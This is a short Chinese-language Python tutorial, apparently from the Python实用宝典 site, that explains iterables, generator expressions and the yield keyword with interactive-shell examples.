mylist是一个可迭代的对象。当你使用列表解析式时,你创建了一个列表,因此也是一个迭代器:

>>> mylist = [x*x for x in range(3)]
>>> for i in mylist:
...    print(i)
0
1
4

所有你可以用”for… in ….”都是迭代器,包括列表、字符串、文件…等等。

这些迭代器非常方便,因为您可以随心所欲地读取它们,但是您将所有的值都存储在内存中,当您有很多值时,这就非常浪费内存了。

生成器

生成器是迭代器,这种迭代器只能迭代一次。生成器不会将所有值都存储在内存中,它们会动态生成这些值:

>>> mygenerator = (x*x for x in range(3))
>>> for i in mygenerator:
...    print(i)
0
1
4

它和列表解析式是类似的,只是用()代替了[]。但是,您不能在mygenerator中对i执行第二次,因为生成器只能使用一次:它print(0),然后忘记它,print(1),最后是4。

Yield

yield是一个与return类似的关键字,只是函数将返回一个生成器

>>> def createGenerator():
...    mylist = range(3)
...    for i in mylist:
...        yield i*i
...
>>> mygenerator = createGenerator() # create a generator
>>> print(mygenerator) # mygenerator is an object!
 <generator object createGenerator at 0xb7555c34>
>>> for i in mygenerator:
...     print(i)
0
1
4

您需要知道的是函数将返回一组只需要读取一次的值,将这个特性理解清楚,用对地方将极大地提高性能,下次我们将介绍在什么时候该用它。

要掌握yield,您必须了解,在调用函数时,在函数体中编写的代码不会运行。函数只返回生成器对象,这有点棘手:-)

然后,您的代码将从每次使用生成器时停止的地方继续。

现在是最难的部分:

for函数第一次调用从函数创建的生成器对象时,它将从头运行函数中的代码,直到达到yield,然后返回循环的第一个值。然后,彼此调用将再次运行您在函数中编写的循环,并返回下一个值,直到没有要返回的值为止,就如我们上面的例子所示。

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典